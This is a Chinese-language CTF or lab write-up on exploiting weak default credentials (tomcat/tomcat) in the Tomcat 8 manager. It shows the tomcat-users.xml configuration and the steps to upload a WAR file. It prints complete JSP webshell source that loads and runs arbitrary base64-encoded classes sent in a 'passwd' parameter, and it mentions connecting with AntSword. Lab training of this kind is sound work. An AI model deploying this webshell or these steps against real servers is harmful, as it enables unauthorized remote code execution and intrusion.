漏洞原因
用户权限在conf/tomcat-users.xml
文件中配置:
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
可以看出,tomcat用户具有上述所有权限,密码为tomcat
。
默认情况下,通过常规安装在Tomcat8中没有用户,并且管理器页面仅允许访问本地IP。只有管理员手动修改了这些属性,我们才可以发起攻击。
前提条件:Tomcat版本8.0 默认安装是没有用户的,密码是tomcat
漏洞复现
靶场:vulfocus :Apache Tomcat/8.0.43
访问路径以后,通过Manager App进行登录,密码为tomcat tomcat
2、制作war包,先将jsp大马压缩为zip,再将zip后缀改名为war,然后上传war包
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
从图中就可以看见上传的文件路径/Cknife,可以通过passwd/passwd.jsp访问到木马,尝试通过蚁剑进行链接,找到flag